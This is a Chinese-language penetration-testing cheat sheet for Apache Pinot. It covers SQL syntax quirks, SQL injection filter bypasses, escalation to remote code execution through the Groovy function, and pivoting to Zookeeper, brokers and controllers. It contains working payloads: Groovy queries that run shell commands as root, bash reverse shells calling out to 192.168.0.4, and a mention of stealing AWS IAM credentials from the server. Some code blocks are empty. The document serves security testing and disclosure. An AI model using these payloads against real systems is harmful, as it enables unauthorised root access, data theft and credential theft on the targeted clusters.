Apache Pinot SQLi and RCE Cheat Sheet
Apache Pinot数据库平台日益流行,本文旨在帮助渗透测试人员利用对传统数据库系统(如Postgres和MariaDB)的熟悉度,将其应用于Pinot。我们将展示Pinot后端API中的经典SQL注入(SQLi)漏洞如何升级为远程代码执行(RCE),并讨论后续利用。
什么是Pinot?
Pinot是一个实时分布式OLAP数据存储,专为提供超低延迟分析而设计,即使在极高吞吐量下也能胜任。简单来说,Apache Pinot是一个针对分析查询优化的数据库系统,适用于:
- 数据流式输入且需要即时查询
- 多用户同时执行复杂查询
- 需要快速聚合或过滤太字节数据
Pinot于2013年在LinkedIn启动,现在支持LinkedIn的一些知名功能,如“谁查看了我的个人资料”、职位、发布者分析等。Pinot还支持LinkedIn的内部报告平台。Pinot不太可能用于存储相对静态的用户电子邮件和密码哈希表,更可能用于从Kafka摄取订单或用户操作流,通过内部仪表板进行分析。
基本架构细节
Pinot用Java编写。表数据被分区/分片成段(Segments),通常基于时间戳拆分,可以存储在不同位置。Apache Pinot集群由不同组件组成,基本包括控制器(Controllers)、服务器(Servers)和代理(Brokers)。
- 服务器(Server):存储数据段。通过GRPC接收SQL查询,执行并返回结果。
- 代理(Broker):暴露HTTP端口,客户端发送查询到此。代理分析查询并通过GRPC查询拥有所需数据段的服务器。客户端接收合并后的单一响应。
- 控制器(Controller):维护集群元数据并管理其他组件。提供管理端点和数据上传端点。
- Zookeeper:Apache Zookeeper用于存储集群状态和元数据。可能有多个代理、服务器和控制器(LinkedIn声称一个集群中有超过1000个节点),因此Zookeeper用于跟踪这些节点以及哪些服务器托管哪些段。本质上是一个分层键值存储。
设置测试环境
遵循Minikube中的Kubernetes快速入门是创建多节点环境的简单方法。文档逐步介绍了安装Pinot Helm图表、通过Kafka设置摄取,以及暴露控制器的端口9000以访问查询编辑器和集群管理UI的步骤。如果出现严重问题,可以minikube delete擦除一切并重新开始。
唯一建议:
- 在
kubernetes/helm/pinot/values.yaml中设置image.tag为特定Pinot版本(例如release-0.10.0)而不是latest,以测试特定版本。 - 从
./kubernetes/helm/pinot安装Pinot图表,以使用本地配置更改,而不是从Github主分支获取值的pinot/pinot。 - 使用
stern -n pinot-quickstart pinot跟踪所有节点的日志。
Pinot SQL语法和注入基础
Pinot语法基于Apache Calcite,但Calcite参考中的许多功能在Pinot中不受支持。以下是一些有用的语言功能,可能有助于识别和测试Pinot后端。
- 字符串:用单引号包围。单引号可以用另一个单引号转义。双引号表示标识符,例如列名。
- 字符串连接:通过3参数函数
CONCAT(str1, str2, separator)执行。+符号仅适用于数字。 - 子字符串:
SUBSTR(col, startIndex, endIndex),索引从0开始,可以为负数从末尾计数。这与Postgres和MySQL不同,后者最后一个参数是长度。 - 长度:
LENGTH(str) - 注释:行注释
--不需要周围空格。多行注释/* */如果缺少闭合*/会引发错误。 - 过滤器:基本
WHERE过滤器需要引用列。不操作任何列的过滤器会引发错误,因此诸如' OR ''='的SQLi payload会失败。只要知道有效列名,仍然可以返回所有记录,例如:WHERE 0 = Year - Year AND ArrTimeBlk != 'blahblah-bc'。 - BETWEEN:
SELECT * FROM transcript WHERE studentID between 201 and 300 - IN:使用
col IN (literal1, literal2, ...)。 - 字符串匹配:在
LIKE过滤器中,%和_被转换为正则表达式模式.*和.。REGEXP_LIKE(col, regex)函数使用java.util.regex.Pattern不区分大小写的正则表达式。如果用户可以提供未净化的搜索查询,这两种方法都容易受到拒绝服务(DoS)攻击。 - UNION:不支持。
- 堆叠/批处理查询:不支持。
- JOIN:有限支持连接正在开发中。目前可以使用
lookUp函数与离线表连接。 - 子查询:有限支持。子查询应返回base64编码的IdSet。IdSet是一种数据结构(压缩位图或Bloom过滤器),可以非常快地检查Id是否属于IdSet。
IN_SUBQUERY(在代理上过滤)或IN_PARTITIONED_SUBQUERY(在服务器上过滤)函数执行子查询,然后使用此IdSet过滤主查询结果。 - 数据库版本:Pinot缺乏
SELECT @@VERSION或SELECT VERSION()功能。必须使用函数和其他语言特性的存在或缺失来识别Pinot服务器版本。 - 信息模式表:不支持。
- 数据类型:一些Pinot函数对使用的列类型(INT、LONG、BYTES、STRING、FLOAT、DOUBLE)敏感。例如,像SHA512这样的哈希函数仅操作BYTES列而不操作STRING列。幸运的是,我们可以在源代码中找到未文档化的
toUtf8函数并将字符串转换为字节。 - CASE:简单case和搜索case都支持。
- 查询选项:可以使用
OPTION(key=value,key2=value2)添加某些查询选项,如超时。奇怪的是,这可以添加到查询中的任何位置,甚至字符串内部!在Pinot支持的搜索API中,查询thingumajig和thinguOPTION(a=b)majig应返回相同结果,假设字符()=未被API过滤。这也可能是有用的WAF绕过。
CTF级SQL注入
在牵强的情景中,这可用于注释掉部分SQL查询,例如,路由/getFiles?category=)&title=%25oPtIoN(使用预处理语句生成SQL:
|
|
OPTION(和下一个)之间的所有内容使用正则表达式/option\s*\([^)]+\)/i剥离。查询执行为:
|
|
允许访问所有绝密文件!注意,如果OPTION()内部等号数量错误,会发生错误OPTION statement requires two parts separated by '='。另一个牵强情景可能导致SQLi和过滤器绕过。
超时
超时不起作用。当查询超时达到时,代理向客户端返回超时异常,但服务器继续逐行处理查询直到完成,无论需要多长时间。除了杀死服务器进程外,无法取消进行中的查询。
Pinot中的SQL注入
要继续,您需要像任何类型数据库后端一样的SQL注入漏洞,恶意用户输入可以进入查询体而不是作为参数与预处理语句一起发送。Pinot后端不支持预处理语句,但Java客户端有一个PreparedStatement类,它在将请求发送到代理之前转义单引号,可以防止SQLi(除了OPTION()变体)。注入可能出现在搜索查询中,例如:
|
|
查询参数可被滥用于SQL注入以返回系统中的所有订单,而没有特定存储ID的限制。示例payload是!xyz') OR store_id - store_id = 0 OR (product_name = 'abc!,它将生成以下SQL查询:
|
|
逻辑拆分发生在OR上,因此如果以下任一条件成立,将返回记录:
store_id IN (12, 34, 56) AND REGEXP_LIKE(product_name,'!xyz')(不太可能有任何结果)store_id - store_id = 0(总是true,因此返回所有记录)(product_name = 'abc!') AND refunded = false(不太可能有任何结果)
如果目标使用的查询模板没有新行,查询也可以以行注释!xyz') OR store_id - store_id = 0--结束。
通过Groovy实现RCE
虽然成熟度带来改进,但安全设计并不总是优先事项。Pinot信任任何可以查询数据库的人也在服务器上执行代码,作为root 😲。这个功能巨大的安全漏洞在Apache Pinot的所有发布版本中默认启用。它在2022年5月17日的提交中默认禁用,但此提交尚未进入发布。
脚本用Groovy语言编写。这是一种基于JVM的语言,允许您使用所有最喜欢的Java方法。以下是一些您可能关心的Groovy语法:
- 打印到服务器日志(仅在本地测试时有用):
println 3 - 创建变量:
def data = 'abc' - 插值:使用双引号和
$ARG或${ARG}:def moredata = "${data}def" // abcdef - 执行shell命令,等待完成然后返回stdout:
'whoami'.execute().text - 启动shell命令但不等待完成:
"touch /tmp/$arg0".execute() - 使用数组语法执行shell命令,有助于避免引号转义地狱:
["bash", "-c", "bash -i >& /dev/tcp/192.168.0.4/53 0>&1 &"].execute() - 分号必须放在if-else块的最终闭合括号后:
if (true) { a() } else { b() }; return "a"
要执行Groovy,使用:
|
|
如果在groovy代码后指定列(或转换函数),它们作为变量arg0、arg1等出现在Groovy脚本中。
RCE示例查询
-
Whoami:
1 2 3 4SELECT * FROM myTable WHERE groovy( '{"returnType":"INT","isSingleValue":true}', 'println "whoami".execute().text; return 1' ) = 1 limit 5将root打印到日志!官方Pinot docker镜像以root身份运行Groovy脚本。
-
AWS:从pinot-server窃取临时AWS IAM凭证。
-
反向Shell:目标是拥有一个root shell,从中悠闲地探索集群,而您的命令不会出现在查询日志中。您可以使用以下内容:
1 2 3 4SELECT * FROM myTable WHERE groovy( '{"returnType":"INT","isSingleValue":true}', '["bash", "-c", "bash -i >& /dev/tcp/192.168.0.4/443 0>&1 &"].execute(); return 1' ) = 1同时生成大量反向shell,每个行一个。
-
调优:为避免生成数千个进程并导致性能下降和潜在拒绝服务,使用Groovy中的if语句将执行限制为单行。
使用服务器上的RCE攻击其他节点
我们通过反向shell拥有对服务器的root访问权限,使我们能够访问:
- 服务器上存储的所有段数据
- 配置和环境变量,其中包含其他服务(如代理和Zookeeper)的位置
- 可能具有多汁IAM权限的云环境密钥
由于我们已经在这里是root,让我们尝试使用我们的立足点影响Pinot集群的其他部分,如Zookeeper、代理、控制器和其他服务器。
首先,我们应该检查配置。我们可以找到Zookeeper地址和配置文件位置。文件包含数据位置和auth令牌,以防内部集群身份验证已启用。
-
Zookeeper:其他服务的位置可能作为环境变量可用,但真相来源是Zookeeper。节点必须能够读取和写入Zookeeper以更新其状态。我们可以使用
zkCli.sh连接到Zookeeper并列出“参与者”。通过修改代理的HELIX_HOST在Zookeeper中(使用set),Pinot查询将通过HTTP POST发送到您控制的机器上的/query/sql,而不是真正的代理。然后您可以回复自己的结果。虽然强大,但这是一个相当破坏性的攻击。 -
代理:我们发现了代理的位置。其
HELIX_PORT指的是用于提交SQL查询的HTTP服务器。直接向代理发送查询可能比通过SQLi端点容易得多。注意,代理可能启用了基本身份验证,但与所有Pinot服务一样,它默认禁用。 -
其他服务器:可能有些数据仅存在于其他服务器上。从您的反向shell,SQL查询可以通过GRPC发送到任何其他服务器,无需身份验证。或者,我们可以返回并使用Pinot的IdSet子查询功能在其他服务器上获取shell。
-
控制器:控制器也有一个有用的REST API。它可以用于获取和设置数据,如集群配置、表模式、实例信息和段数据。它可以用于与Zookeeper交互,例如更新代理主机,就像上面直接通过Zookeeper完成的那样。文件也可以上传以摄取到表中。
TLDR
- Pinot是一个现代数据库平台,可以用老式SQLi攻击
- 在撰写本文时,SQL注入在最新版本中默认导致远程代码执行
- 在官方容器镜像中,RCE意味着对Pinot集群服务器组件的root访问
- 从这里,其他组件可以在一定程度上受到影响
- OPTION()到底是怎么回事?
- Pinot正在积极开发中。成熟将带来安全改进
- 在即将发布的版本(>0.10.0)中,SQLi到RCE的隐患将选择加入